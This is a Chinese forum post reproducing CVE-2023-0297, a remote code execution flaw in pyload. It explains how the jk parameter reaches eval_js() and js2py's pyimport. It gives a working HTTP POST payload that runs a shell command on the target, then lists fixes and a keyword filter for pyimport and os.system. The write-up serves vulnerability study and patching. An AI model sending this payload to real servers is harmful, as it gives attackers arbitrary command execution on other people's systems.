漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

打印 上一主题 下一主题

主题 1044|帖子 1044|积分 3132

漏洞信息



漏洞原理



  • 在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。
  • 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。
  • 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里要注意对 crypted 参数有要求:要对 crypted 参数做 base64 解码,所以长度要为 24 bit 的整数倍且不包含空格。
漏洞环境搭建以及复现

环境


  • Kali Linux
  • pyload 0.5.0b3.dev30
复现

payload
  1. POST /flash/addcrypted2 HTTP/1.1
  2. Host: <target host>:9666
  3. Content-Type: application/x-www-form-urlencoded
  4. jk=pyimport%20os;os.system("touch%20/tmp/1");f=function%20f2(){};&package=xxxx&crypted=AAAA&&passwords=aaaa
复制代码
执行


在传入 payload 前,文件系统中不存在 /tmp/1 文件,在攻击后,执行了 touch /tmp/1 命令,再次查看时发现文件已经被创建,即我们传入的命令已经被执行。
修复

升级至 0.5.0b3.dev31 及以上版本

禁用 pyimport 功能
  1. js2py.disable_pyimport()
复制代码
流量过滤

关键字:jk 参数中 pyimport, os.system 等系统命令

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

三尺非寒

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表